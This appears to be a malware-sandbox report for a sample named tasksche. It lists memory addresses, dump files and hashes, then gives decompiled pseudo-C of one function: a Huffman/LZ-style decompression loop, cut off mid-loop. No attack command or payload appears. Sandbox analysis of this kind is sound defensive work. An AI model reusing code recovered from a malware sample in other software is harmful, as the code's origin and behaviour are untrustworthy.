0x00417332
0x00417338
0x0041733e
0x00417344
0x0041734a
0x0041734d
0x00417350
0x00417353
0x00417353
0x00417353
0x00417356
0x00000000
0x00417356
0x004172b0
0x004172b9
0x004172ba
0x004172bd
0x00000000
0x0041726f
0x00417275
0x0041727a
0x0041727a
0x00000000
0x0041738e
0x0041738e
0x0041738e
0x00417398
0x0041739e
0x004173a4
0x004173ae
0x004173b6
0x004173bc
0x004173c0
0x004173c4
0x004173c7
0x004173c7
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00416cb4
0x00417184
0x00417184
0x00417187
0x0041718a
0x00417190
0x00417195
0x00417199
0x0041719d
0x004171a0
0x004171a3
0x004171a3
0x004171a3
0x004171a3
0x00000000
0x0041718a
0x0041712d
0x00417130
0x00000000
0x00000000
0x00417134
0x00417134
0x00417137
0x00417139
0x0041713c
0x0041713e
0x00417142
0x00417147
0x0041714d
0x00417153
0x00417159
0x0041715f
0x00417165
0x0041716b
0x0041716e
0x00417171
0x00417174
0x00417174
0x00417174
0x00417177
0x00000000
0x004170cd
0x004170cd
0x004170d3
0x004170d4
0x004170d5
0x004170d6
0x004170dc
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x004170cb
0x00416f84
0x00416f87
0x0041705d
0x00417064
0x00417069
0x0041706f
0x00417076
0x00417078
0x00417078
0x0041707b
0x00000000
0x0041707b
0x00416f8d
0x00416f91
0x00416f98
0x00416fa0
0x00416fa6
0x00416faf
0x00416fb1
0x00416fb1
0x00416fb4
0x00416fb4
0x00416fb9
0x00416fbe
0x00416fc4
0x00416fc9
0x00416fd0
0x00416ffd
0x00416ffe
0x00417001
0x00417003
0x0041701d
0x00417020
0x00417027
0x0041702d
0x00417038
0x0041703d
0x00417044
0x0041704a
0x0041704c
0x0041704c
0x0041704c
0x0041704e
0x00000000
0x0041704e
0x00417005
0x0041700c
0x0041700c
0x0041700e
0x00000000
0x00000000
0x00417010
0x00417011
0x00417014
0x00417017
0x00000000
0x00000000
0x00000000
0x00417019
0x0041701b
0x00000000
0x00416fd2
0x00416fd4
0x00416fd7
0x00416fe1
0x00416fe9
0x00416fee
0x00416ff1
0x00417056
0x00417056
0x00000000
0x00417056
0x00416fd0
0x00416f61
0x00000000
0x00416f61
0x00416ed5
0x00416e22
0x00416e22
0x00416e29
0x00416e50
0x00416e53
0x00416e2b
0x00416e31
0x00416e40
0x00416e40
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x00416e20
0x00416d93
0x00416d3c
0x00416d3e
0x00000000
0x00000000
0x00416d42
0x00416d47
0x00416d4d
0x00416d53
0x00000000
0x00000000
0x00416d59
0x00416d6d
0x00416d6d
0x00416d74
0x0041767e
0x00000000
0x0041767e
0x00000000
0x00416d74
0x00416d5b
0x00416d61
0x00416d67
0x00000000
0x00000000
0x00000000
0x00416d67
0x00416ca6
0x00416c5d
0x00416c64
0x00416c6b
0x00000000
0x00000000
0x00416c71
0x00416c77
0x00416c78
0x00416c7b
0x00416c7e
0x00416c85
0x00000000
0x00000000
0x00416c96
0x00416c9d
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 0de7a046ec34b83bbc3033ab6ae0e99f87698ffc0b25ddf2edfa9e03facaa23f
Instruction ID: ec473c390e775c3513d1f4c5f902ffdbdf11d251c2712a84011b28fca20aaef5
Opcode Fuzzy Hash: 0de7a046ec34b83bbc3033ab6ae0e99f87698ffc0b25ddf2edfa9e03facaa23f
Instruction Fuzzy Hash: 5F72E770A087459FCB29CF24C5D0AE9BBF1EF55304F1584AED99A8B342D338E985CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00415D9A Relevance: .8, Instructions: 795
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00415D9A(void* __ecx, signed int _a4) {
				void* _v8;
				char* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t458;
				intOrPtr _t460;
				intOrPtr _t461;
				signed int _t462;
				signed int _t463;
				unsigned int _t464;
				signed int _t467;
				signed int _t468;
				signed int _t469;
				signed int _t471;
				unsigned int _t472;
				signed int _t475;
				signed int _t476;
				signed int _t481;
				intOrPtr _t498;
				unsigned int _t501;
				unsigned int _t504;
				intOrPtr* _t505;
				unsigned int _t506;
				signed int _t509;
				signed int _t510;
				signed int _t511;
				signed int _t512;
				signed int _t514;
				unsigned int _t519;
				unsigned int _t520;
				unsigned int _t522;
				intOrPtr* _t523;
				signed int _t525;
				char _t526;
				signed int _t528;
				signed int _t529;
				signed int _t536;
				unsigned int _t537;
				signed int _t540;
				signed int _t541;
				signed int _t549;
				signed int _t550;
				unsigned int _t569;
				unsigned int _t572;
				intOrPtr* _t573;
				unsigned int _t576;
				signed int _t579;
				signed int _t580;
				signed int _t581;
				unsigned int _t582;
				signed int _t585;
				signed int _t586;
				signed int _t587;
				unsigned int _t588;
				signed int _t589;
				signed int _t590;
				signed int _t591;
				signed int _t593;
				unsigned int _t594;
				signed int _t597;
				signed int _t598;
				signed int _t600;
				void* _t607;
				signed int _t608;
				intOrPtr _t613;
				signed int _t614;
				signed int _t617;
				void* _t619;
				intOrPtr* _t622;
				signed int _t625;
				void* _t627;
				signed char _t631;
				void* _t633;
				signed int _t634;
				intOrPtr _t636;
				char* _t639;
				char* _t640;
				void* _t642;
				intOrPtr* _t646;
				void* _t647;
				signed int _t650;
				signed int _t652;
				char* _t658;
				signed char _t663;
				signed int _t666;
				void* _t668;
				signed char _t672;
				signed int _t674;
				unsigned int _t679;
				char* _t680;
				void* _t682;
				signed int _t688;
				void* _t690;
				intOrPtr* _t692;
				void* _t693;
				signed int _t696;
				void* _t699;
				intOrPtr* _t704;
				void* _t705;
				signed int _t708;
				void* _t711;
				intOrPtr* _t716;
				void* _t717;
				signed int _t720;
				signed int _t726;
				signed int _t727;
				signed int _t732;
				signed int _t733;
				signed int _t738;
				signed int _t744;
				void* _t758;
				signed int _t759;
				intOrPtr _t761;
				char* _t762;
				signed int _t771;
				signed int _t772;
				unsigned int _t776;
				void* _t778;
				signed int _t779;
				intOrPtr _t781;
				char* _t782;
				signed int _t791;
				signed int _t792;
				void* _t806;
				intOrPtr* _t808;
				void* _t810;

				_t608 = _a4;
				_t806 = __ecx;
				if( *((char*)(_t608 + 0x2c)) != 0) {
					L3:
					_t458 =  *((intOrPtr*)(_t608 + 0x18));
					_t808 = _t608 + 4;
					__eflags =  *_t808 -  *((intOrPtr*)(_t608 + 0x24)) + _t458;
					if( *_t808 <=  *((intOrPtr*)(_t608 + 0x24)) + _t458) {
						_t613 =  *((intOrPtr*)(_t608 + 0x20)) + _t458 - 1;
						_t460 =  *((intOrPtr*)(_t608 + 0x4acc)) - 0x10;
						__eflags = _t613 - _t460;
						_v32 = _t613;
						_v36 = _t460;
						_v28 = _t613;
						if(_t613 >= _t460) {
							_v28 = _t460;
						}
						while(1) {
							L8:
							_t614 =  *(_t806 + 0xe6dc);
							 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
							_t461 =  *_t808;
							__eflags = _t461 - _v28;
							if(_t461 < _v28) {
								goto L15;
							}
							L9:
							__eflags = _t461 - _v32;
							if(__eflags > 0) {
								L98:
								_t526 = 1;
								goto L99;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t461 - _v36;
								if(_t461 < _v36) {
									L14:
									__eflags = _t461 -  *((intOrPtr*)(_t608 + 0x4acc));
									if(_t461 >=  *((intOrPtr*)(_t608 + 0x4acc))) {
										L157:
										 *((char*)(_t608 + 0x4ad3)) = 1;
										goto L98;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t608 + 0x4ad2));
								if( *((char*)(_t608 + 0x4ad2)) == 0) {
									goto L157;
								}
								goto L14;
							}
							__eflags =  *((intOrPtr*)(_t608 + 8)) -  *((intOrPtr*)(_t608 + 0x1c));
							if( *((intOrPtr*)(_t608 + 8)) >=  *((intOrPtr*)(_t608 + 0x1c))) {
								goto L98;
							}
							goto L12;
							L15:
							_t462 =  *(_t806 + 0x70);
							__eflags = ( *((intOrPtr*)(_t806 + 0x4b30)) - _t462 & _t614) - 0x1004;
							if(( *((intOrPtr*)(_t806 + 0x4b30)) - _t462 & _t614) >= 0x1004) {
								L20:
								_t463 = E0040978C(_t808);
								_t726 =  *(_t608 + 0xb4);
								_t464 = _t463 & 0x0000fffe;
								__eflags = _t464 -  *((intOrPtr*)(_t608 + 0x34 + _t726 * 4));
								if(_t464 >=  *((intOrPtr*)(_t608 + 0x34 + _t726 * 4))) {
									_t727 = _t726 + 1;
									_a4 = 0xf;
									__eflags = _t727 - 0xf;
									if(_t727 >= 0xf) {
										L28:
										_t617 =  *(_t808 + 4) + _a4;
										 *_t808 =  *_t808 + (_t617 >> 3);
										_t730 = _a4;
										 *(_t808 + 4) = _t617 & 0x00000007;
										_t619 = 0x10;
										_t467 = (_t464 -  *((intOrPtr*)(_t608 + 0x30 + _a4 * 4)) >> _t619 - _a4) +  *((intOrPtr*)(_t608 + 0x74 + _t730 * 4));
										__eflags = _t467 -  *((intOrPtr*)(_t608 + 0x30));
										if(_t467 >=  *((intOrPtr*)(_t608 + 0x30))) {
											_t467 = 0;
											__eflags = 0;
										}
										_t468 =  *(_t608 + 0xcb8 + _t467 * 2) & 0x0000ffff;
										L31:
										__eflags = _t468 - 0x100;
										if(_t468 >= 0x100) {
											__eflags = _t468 - 0x106;
											if(_t468 < 0x106) {
												__eflags = _t468 - 0x100;
												if(_t468 != 0x100) {
													__eflags = _t468 - 0x101;
													if(_t468 != 0x101) {
														_t469 = _t468 + 0xfffffefe;
														__eflags = _t469;
														_t622 = _t806 + 0x54 + _t469 * 4;
														_v24 =  *_t622;
														if(_t469 == 0) {
															L127:
															 *((intOrPtr*)(_t806 + 0x54)) = _v24;
															_t471 = E0040978C(_t808);
															_t732 =  *(_t608 + 0x2d78);
															_t472 = _t471 & 0x0000fffe;
															__eflags = _t472 -  *((intOrPtr*)(_t608 + 0x2cf8 + _t732 * 4));
															if(_t472 >=  *((intOrPtr*)(_t608 + 0x2cf8 + _t732 * 4))) {
																_t733 = _t732 + 1;
																_a4 = 0xf;
																__eflags = _t733 - 0xf;
																if(_t733 >= 0xf) {
																	L135:
																	_t625 =  *(_t808 + 4) + _a4;
																	 *_t808 =  *_t808 + (_t625 >> 3);
																	_t736 = _a4;
																	 *(_t808 + 4) = _t625 & 0x00000007;
																	_t627 = 0x10;
																	_t475 = (_t472 -  *((intOrPtr*)(_t608 + 0x2cf4 + _a4 * 4)) >> _t627 - _a4) +  *((intOrPtr*)(_t608 + 0x2d38 + _t736 * 4));
																	__eflags = _t475 -  *((intOrPtr*)(_t608 + 0x2cf4));
																	if(_t475 >=  *((intOrPtr*)(_t608 + 0x2cf4))) {
																		_t475 = 0;
																		__eflags = 0;
																	}
																	_t476 =  *(_t608 + 0x397c + _t475 * 2) & 0x0000ffff;
																	L138:
																	__eflags = _t476 - 8;
																	if(_t476 >= 8) {
																		_t631 = (_t476 >> 2) - 1;
																		_a4 = _t631;
																		_t481 = ((_t476 & 0x00000003 | 0x00000004) << _t631) + 2;
																		_v20 = _t481;
																		__eflags = _t631;
																		if(_t631 > 0) {
																			_t506 = E0040978C(_t808);
																			_t642 = 0x10;
																			_v20 = _v20 + (_t506 >> _t642 - _a4);
																			_t509 =  *(_t808 + 4) + _a4;
																			 *_t808 =  *_t808 + (_t509 >> 3);
																			_t510 = _t509 & 0x00000007;
																			__eflags = _t510;
																			 *(_t808 + 4) = _t510;
																			_t481 = _v20;
																		}
																	} else {
																		_t481 = _t476 + 2;
																		_v20 = _t481;
																	}
																	_t738 =  *(_t806 + 0x70) - _v24;
																	_t633 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
																	 *(_t806 + 0x68) = _t481;
																	_a4 = _t481;
																	_v16 = _t738;
																	__eflags = _t738 - _t633;
																	if(_t738 >= _t633) {
																		L153:
																		__eflags = _t481;
																	} else {
																		__eflags =  *(_t806 + 0x70) - _t633;
																		if( *(_t806 + 0x70) >= _t633) {
																			goto L153;
																		}
																		_t636 =  *((intOrPtr*)(_t806 + 0x4b34));
																		_v12 = _t738 + _t636;
																		_t744 =  *(_t806 + 0x70);
																		_v8 = _t636 + _t744;
																		 *(_t806 + 0x70) = _t481 + _t744;
																		__eflags = _v24 - _t481;
																		if(_v24 >= _t481) {
																			__eflags = _t481 - 8;
																			if(_t481 < 8) {
																				L113:
																				__eflags = _a4;
																				if(_a4 <= 0) {
																					continue;
																					do {
																						do {
																							do {
																								do {
																									do {
																										do {
																											do {
																												do {
																													do {
																														do {
																															do {
																																do {
																																	do {
																																		do {
																																			while(1) {
																																				L8:
																																				_t614 =  *(_t806 + 0xe6dc);
																																				 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																																				_t461 =  *_t808;
																																				__eflags = _t461 - _v28;
																																				if(_t461 < _v28) {
																																					goto L15;
																																				}
																																				goto L9;
																																			}
																																			L82:
																																			__eflags = _a4;
																																		} while (_a4 <= 0);
																																		goto L83;
																																	} while (_a4 <= 0);
																																	goto L114;
																																	L83:
																																	__eflags = _a4 - 1;
																																	_t639 = _v12;
																																	 *_t639 =  *_v8;
																																} while (_a4 <= 1);
																																goto L84;
																															} while (_a4 <= 1);
																															goto L115;
																															L84:
																															__eflags = _a4 - 2;
																															_t227 = _v8 + 1; // 0x300905a
																															 *((char*)(_t639 + 1)) =  *_t227;
																														} while (_a4 <= 2);
																														goto L85;
																														L115:
																														__eflags = _a4 - 2;
																														 *((char*)(_t639 + 1)) =  *((intOrPtr*)(_v12 + 1));
																													} while (_a4 <= 2);
																													goto L116;
																													L85:
																													__eflags = _a4 - 3;
																													_t231 = _v8 + 2; // 0x30090
																													 *((char*)(_t639 + 2)) =  *_t231;
																												} while (_a4 <= 3);
																												goto L86;
																												L116:
																												__eflags = _a4 - 3;
																												 *((char*)(_t639 + 2)) =  *((intOrPtr*)(_v12 + 2));
																											} while (_a4 <= 3);
																											goto L117;
																											L86:
																											__eflags = _a4 - 4;
																											_t235 = _v8 + 3; // 0x300
																											 *((char*)(_t639 + 3)) =  *_t235;
																										} while (_a4 <= 4);
																										goto L87;
																										L117:
																										__eflags = _a4 - 4;
																										 *((char*)(_t639 + 3)) =  *((intOrPtr*)(_v12 + 3));
																									} while (_a4 <= 4);
																									goto L118;
																									L87:
																									__eflags = _a4 - 5;
																									_t239 = _v8 + 4; // 0x3
																									 *((char*)(_t639 + 4)) =  *_t239;
																								} while (_a4 <= 5);
																								goto L88;
																								L118:
																								__eflags = _a4 - 5;
																								 *((char*)(_t639 + 4)) =  *((intOrPtr*)(_v12 + 4));
																							} while (_a4 <= 5);
																							goto L119;
																							L88:
																							__eflags = _a4 - 6;
																							_t243 = _v8 + 5; // 0x4000000
																							 *((char*)(_t639 + 5)) =  *_t243;
																						} while (_a4 <= 6);
																						_t498 = _v8;
																						L90:
																						_t246 = _t498 + 6; // 0x40000
																						 *((char*)(_t639 + 6)) =  *_t246;
																						goto L8;
																						do {
																							while(1) {
																								L8:
																								_t614 =  *(_t806 + 0xe6dc);
																								 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																								_t461 =  *_t808;
																								__eflags = _t461 - _v28;
																								if(_t461 < _v28) {
																									goto L15;
																								}
																								goto L9;
																							}
																							L91:
																							__eflags = _v16;
																						} while (_v16 <= 0);
																						_t779 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_t674 & _t779) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t779 =  *(_t806 + 0xe6dc);
																							_t674 = _v24 + 1;
																							__eflags = _a4;
																							_v24 = _t674;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t779;
																						} while (_a4 > 0);
																						goto L8;
																						do {
																							while(1) {
																								L8:
																								_t614 =  *(_t806 + 0xe6dc);
																								 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																								_t461 =  *_t808;
																								__eflags = _t461 - _v28;
																								if(_t461 < _v28) {
																									goto L15;
																								}
																								goto L9;
																							}
																							goto L153;
																						} while (_t481 <= 0);
																						_t634 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							_v16 = _v16 + 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_v16 & _t634) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t634 =  *(_t806 + 0xe6dc);
																							__eflags = _a4;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t634;
																						} while (_a4 > 0);
																						goto L8;
																						do {
																							do {
																								do {
																									while(1) {
																										L8:
																										_t614 =  *(_t806 + 0xe6dc);
																										 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																										_t461 =  *_t808;
																										__eflags = _t461 - _v28;
																										if(_t461 < _v28) {
																											goto L15;
																										}
																										goto L9;
																									}
																									goto L102;
																								} while (_t512 == 0);
																								_t652 =  *(_t806 + 0x70);
																								_a4 = _t512;
																								_t514 = _t652 -  *((intOrPtr*)(_t806 + 0x54));
																								_t758 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
																								_v24 = _t514;
																								__eflags = _t514 - _t758;
																								if(_t514 >= _t758) {
																									goto L121;
																								}
																								__eflags = _t652 - _t758;
																								if(_t652 >= _t758) {
																									goto L121;
																								}
																								_t761 =  *((intOrPtr*)(_t806 + 0x4b34));
																								_v12 = _t514 + _t761;
																								_t519 = _a4;
																								_t762 = _t761 + _t652;
																								_v8 = _t762;
																								 *(_t806 + 0x70) = _t652 + _t519;
																								__eflags =  *((intOrPtr*)(_t806 + 0x54)) - _t519;
																								if( *((intOrPtr*)(_t806 + 0x54)) >= _t519) {
																									__eflags = _t519 - 8;
																									if(_t519 < 8) {
																										goto L113;
																									}
																									_t520 = _t519 >> 3;
																									__eflags = _t520;
																									_v24 = _t520;
																									do {
																										E0041C290(_t608, _t806, _t808, _v8, _v12, 8);
																										_v12 = _v12 + 8;
																										_v8 = _v8 + 8;
																										_a4 = _a4 - 8;
																										_t810 = _t810 + 0xc;
																										_t307 =  &_v24;
																										 *_t307 = _v24 - 1;
																										__eflags =  *_t307;
																									} while ( *_t307 != 0);
																									goto L113;
																								}
																								__eflags = _t519 - 8;
																								if(_t519 < 8) {
																									goto L113;
																								}
																								_t522 = _t519 >> 3;
																								__eflags = _t522;
																								_v24 = _t522;
																								_t523 = _v12;
																								_t658 = _t762;
																								do {
																									_a4 = _a4 - 8;
																									 *_t658 =  *_t523;
																									 *((char*)(_t658 + 1)) =  *((intOrPtr*)(_t523 + 1));
																									 *((char*)(_t658 + 2)) =  *((intOrPtr*)(_t523 + 2));
																									 *((char*)(_t658 + 3)) =  *((intOrPtr*)(_t523 + 3));
																									 *((char*)(_t658 + 4)) =  *((intOrPtr*)(_t523 + 4));
																									 *((char*)(_t658 + 5)) =  *((intOrPtr*)(_t523 + 5));
																									 *((char*)(_t658 + 6)) =  *((intOrPtr*)(_t523 + 6));
																									 *((char*)(_t658 + 7)) =  *((intOrPtr*)(_t523 + 7));
																									_t523 = _t523 + 8;
																									_t658 = _t658 + 8;
																									_t294 =  &_v24;
																									 *_t294 = _v24 - 1;
																									__eflags =  *_t294;
																								} while ( *_t294 != 0);
																								L109:
																								_v8 = _t640;
																								_v12 = _t505;
																								goto L113;
																								L97:
																								_t528 = E00415771(_t806,  &_v52);
																								__eflags = _t528;
																							} while (_t528 != 0);
																							goto L98;
																							L121:
																							__eflags = _a4;
																						} while (_a4 <= 0);
																						_t759 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_t514 & _t759) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t759 =  *(_t806 + 0xe6dc);
																							_t514 = _v24 + 1;
																							__eflags = _a4;
																							_v24 = _t514;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t759;
																						} while (_a4 > 0);
																						goto L8;
																						L119:
																						__eflags = _a4 - 6;
																						 *((char*)(_t639 + 5)) =  *((intOrPtr*)(_v12 + 5));
																					} while (_a4 <= 6);
																					_t498 = _v12;
																					goto L90;
																				}
																				L114:
																				__eflags = _a4 - 1;
																				_t639 = _v8;
																				 *_t639 =  *_v12;
																			}
																			_t501 = _v20 >> 3;
																			__eflags = _t501;
																			_v24 = _t501;
																			do {
																				E0041C290(_t608, _t806, _t808, _v8, _v12, 8);
																				_v12 = _v12 + 8;
																				_v8 = _v8 + 8;
																				_a4 = _a4 - 8;
																				_t810 = _t810 + 0xc;
																				_t441 =  &_v24;
																				 *_t441 = _v24 - 1;
																				__eflags =  *_t441;
																			} while ( *_t441 != 0);
																			goto L113;
																		}
																		__eflags = _t481 - 8;
																		if(_t481 < 8) {
																			goto L113;
																		}
																		_t640 = _v8;
																		_t504 = _v20 >> 3;
																		__eflags = _t504;
																		_v24 = _t504;
																		_t505 = _v12;
																		do {
																			_a4 = _a4 - 8;
																			 *_t640 =  *_t505;
																			 *((char*)(_t640 + 1)) =  *((intOrPtr*)(_t505 + 1));
																			 *((char*)(_t640 + 2)) =  *((intOrPtr*)(_t505 + 2));
																			 *((char*)(_t640 + 3)) =  *((intOrPtr*)(_t505 + 3));
																			 *((char*)(_t640 + 4)) =  *((intOrPtr*)(_t505 + 4));
																			 *((char*)(_t640 + 5)) =  *((intOrPtr*)(_t505 + 5));
																			 *((char*)(_t640 + 6)) =  *((intOrPtr*)(_t505 + 6));
																			 *((char*)(_t640 + 7)) =  *((intOrPtr*)(_t505 + 7));
																			_t505 = _t505 + 8;
																			_t640 = _t640 + 8;
																			_t429 =  &_v24;
																			 *_t429 = _v24 - 1;
																			__eflags =  *_t429;
																		} while ( *_t429 != 0);
																		goto L109;
																	}
																}
																_t646 = _t608 + 0x2cf8 + _t733 * 4;
																while(1) {
																	__eflags = _t472 -  *_t646;
																	if(_t472 <  *_t646) {
																		break;
																	}
																	_t733 = _t733 + 1;
																	_t646 = _t646 + 4;
																	__eflags = _t733 - 0xf;
																	if(_t733 < 0xf) {
																		continue;
																	}
																	goto L135;
																}
																_a4 = _t733;
																goto L135;
															}
															_t647 = 0x10;
															_t511 = _t472 >> _t647 - _t732;
															_t650 = ( *(_t511 + _t608 + 0x2d7c) & 0x000000ff) +  *(_t808 + 4);
															 *_t808 =  *_t808 + (_t650 >> 3);
															 *(_t808 + 4) = _t650 & 0x00000007;
															_t476 =  *(_t608 + 0x317c + _t511 * 2) & 0x0000ffff;
															goto L138;
														} else {
															goto L126;
														}
														do {
															L126:
															 *_t622 =  *((intOrPtr*)(_t622 - 4));
															_t469 = _t469 - 1;
															_t622 = _t622 - 4;
															__eflags = _t469;
														} while (_t469 > 0);
														goto L127;
													}
													L102:
													_t512 =  *(_t806 + 0x68);
													__eflags = _t512;
												}
												_push( &_v52);
												_t525 = E00414290(_t806, _t808);
												__eflags = _t525;
												if(_t525 == 0) {
													goto L98;
												}
												goto L97;
											}
											_t529 = _t468 + 0xfffffefa;
											__eflags = _t529 - 8;
											if(_t529 >= 8) {
												_t663 = (_t529 >> 2) - 1;
												_a4 = _t663;
												_v12 = ((_t529 & 0x00000003 | 0x00000004) << _t663) + 2;
												__eflags = _t663;
												if(_t663 > 0) {
													_t594 = E0040978C(_t808);
													_t711 = 0x10;
													_v12 = _v12 + (_t594 >> _t711 - _a4);
													_t597 =  *(_t808 + 4) + _a4;
													 *_t808 =  *_t808 + (_t597 >> 3);
													_t598 = _t597 & 0x00000007;
													__eflags = _t598;
													 *(_t808 + 4) = _t598;
												}
											} else {
												_v12 = _t529 + 2;
											}
											_v16 = _v12;
											_t536 = E0040978C(_t808);
											_t771 =  *(_t608 + 0xfa0);
											_t537 = _t536 & 0x0000fffe;
											__eflags = _t537 -  *((intOrPtr*)(_t608 + 0xf20 + _t771 * 4));
											if(_t537 >=  *((intOrPtr*)(_t608 + 0xf20 + _t771 * 4))) {
												_t772 = _t771 + 1;
												_a4 = 0xf;
												__eflags = _t772 - 0xf;
												if(_t772 >= 0xf) {
													L46:
													_t666 =  *(_t808 + 4) + _a4;
													 *_t808 =  *_t808 + (_t666 >> 3);
													_t775 = _a4;
													 *(_t808 + 4) = _t666 & 0x00000007;
													_t668 = 0x10;
													_t540 = (_t537 -  *((intOrPtr*)(_t608 + 0xf1c + _a4 * 4)) >> _t668 - _a4) +  *((intOrPtr*)(_t608 + 0xf60 + _t775 * 4));
													__eflags = _t540 -  *((intOrPtr*)(_t608 + 0xf1c));
													if(_t540 >=  *((intOrPtr*)(_t608 + 0xf1c))) {
														_t540 = 0;
														__eflags = 0;
													}
													_t541 =  *(_t608 + 0x1ba4 + _t540 * 2) & 0x0000ffff;
													goto L49;
												}
												_t704 = _t608 + 0xf20 + _t772 * 4;
												while(1) {
													__eflags = _t537 -  *_t704;
													if(_t537 <  *_t704) {
														break;
													}
													_t772 = _t772 + 1;
													_t704 = _t704 + 4;
													__eflags = _t772 - 0xf;
													if(_t772 < 0xf) {
														continue;
													}
													goto L46;
												}
												_a4 = _t772;
												goto L46;
											} else {
												_t705 = 0x10;
												_t593 = _t537 >> _t705 - _t771;
												_t708 = ( *(_t593 + _t608 + 0xfa4) & 0x000000ff) +  *(_t808 + 4);
												 *_t808 =  *_t808 + (_t708 >> 3);
												 *(_t808 + 4) = _t708 & 0x00000007;
												_t541 =  *(_t608 + 0x13a4 + _t593 * 2) & 0x0000ffff;
												L49:
												__eflags = _t541 - 4;
												if(_t541 >= 4) {
													_t672 = (_t541 >> 1) - 1;
													_a4 = _t672;
													_v20 = ((_t541 & 0x00000001 | 0x00000002) << _t672) + 1;
													__eflags = _t672;
													if(_t672 <= 0) {
														L68:
														_t776 = _v20;
														__eflags = _t776 - 0x100;
														if(_t776 > 0x100) {
															_v16 = _v12 + 1;
															__eflags = _t776 - 0x2000;
															if(_t776 > 0x2000) {
																_v16 = _v16 + 1;
																__eflags = _t776 - 0x40000;
																if(_t776 > 0x40000) {
																	_t166 =  &_v16;
																	 *_t166 = _v16 + 1;
																	__eflags =  *_t166;
																}
															}
														}
														 *((intOrPtr*)(_t806 + 0x60)) =  *((intOrPtr*)(_t806 + 0x5c));
														 *((intOrPtr*)(_t806 + 0x5c)) =  *((intOrPtr*)(_t806 + 0x58));
														 *((intOrPtr*)(_t806 + 0x58)) =  *((intOrPtr*)(_t806 + 0x54));
														_t549 = _v16;
														 *(_t806 + 0x68) = _t549;
														_a4 = _t549;
														_t550 =  *(_t806 + 0x70);
														_t674 = _t550 - _t776;
														 *((intOrPtr*)(_t806 + 0x54)) = _t776;
														_t778 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
														_v24 = _t674;
														__eflags = _t674 - _t778;
														if(_t674 >= _t778) {
															goto L91;
														} else {
															__eflags = _t550 - _t778;
															if(_t550 >= _t778) {
																goto L91;
															}
															_t781 =  *((intOrPtr*)(_t806 + 0x4b34));
															_v8 = _t674 + _t781;
															_t679 = _v16;
															_t782 = _t781 + _t550;
															_v12 = _t782;
															 *(_t806 + 0x70) = _t550 + _t679;
															__eflags = _v20 - _t679;
															if(_v20 >= _t679) {
																__eflags = _t679 - 8;
																if(_t679 < 8) {
																	goto L82;
																}
																_t569 = _v16 >> 3;
																__eflags = _t569;
																_v24 = _t569;
																do {
																	E0041C290(_t608, _t806, _t808, _v12, _v8, 8);
																	_v8 = _v8 + 8;
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t810 = _t810 + 0xc;
																	_t219 =  &_v24;
																	 *_t219 = _v24 - 1;
																	__eflags =  *_t219;
																} while ( *_t219 != 0);
																goto L82;
															}
															__eflags = _t679 - 8;
															if(_t679 < 8) {
																goto L82;
															}
															_t572 = _t679 >> 3;
															__eflags = _t572;
															_v24 = _t572;
															_t573 = _v8;
															_t680 = _t782;
															do {
																_a4 = _a4 - 8;
																 *_t680 =  *_t573;
																_t191 = _t573 + 1; // 0x300905a
																 *((char*)(_t680 + 1)) =  *_t191;
																_t193 = _t573 + 2; // 0x30090
																 *((char*)(_t680 + 2)) =  *_t193;
																_t195 = _t573 + 3; // 0x300
																 *((char*)(_t680 + 3)) =  *_t195;
																_t197 = _t573 + 4; // 0x3
																 *((char*)(_t680 + 4)) =  *_t197;
																_t199 = _t573 + 5; // 0x4000000
																 *((char*)(_t680 + 5)) =  *_t199;
																_t201 = _t573 + 6; // 0x40000
